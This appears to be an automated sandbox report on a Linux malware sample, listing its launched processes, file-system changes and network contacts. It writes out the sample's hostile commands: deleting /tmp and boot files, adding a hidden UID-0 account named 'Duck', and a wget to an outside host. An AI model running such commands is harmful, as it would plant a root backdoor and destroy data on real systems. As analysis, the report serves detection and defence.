Technical Information
Malicious functions:
Removes itself
Launches processes:
- rm -rf /tmp/*
- rm -rf <SAMPLE_FULL_PATH> /root/run.sh /root/stdout.log
- rm -rf /boot/grub/deamon
- rm -rf /boot/grub_disk_genius
- mkdir /tmp/.Myslut
- useradd -o -u 0 -g 0 -M -d /root -s /bin/bash Duck
- nscd -i passwd
- nscd -i group
- passwd Duck
- wget http://yip.su/1Aa9M6.html --no-check-certificate
Performs operations with the file system:
Modifies file access rights:
- /etc/passwd+
- /etc/shadow+
- /etc/subuid+
- /etc/subgid+
Creates folders:
- /tmp/.Myslut
Creates symlinks:
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
- /etc/shadow.lock
Creates or modifies files:
- /etc/.pwd.lock
- /etc/passwd.724
- /etc/group.724
- /etc/gshadow.724
- /etc/subuid.724
- /etc/subgid.724
- /etc/shadow.724
- /etc/passwd-
- /etc/passwd+
- /etc/shadow-
- /etc/shadow+
- /etc/subuid-
- /etc/subuid+
- /etc/subgid-
- /etc/subgid+
- /root/stdout.log (deleted)
Deletes files:
- /tmp/*
- /root/run.sh
- /boot/grub/deamon
- /boot/grub_disk_genius
- /etc/passwd.724
- /etc/group.724
- /etc/gshadow.724
- /etc/subuid.724
- /etc/subgid.724
- /etc/shadow.724
- /etc/shadow.lock
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
HTTP GET requests:
- yi#.##/1Aa9M6.html
DNS ASK:
- yi#.su
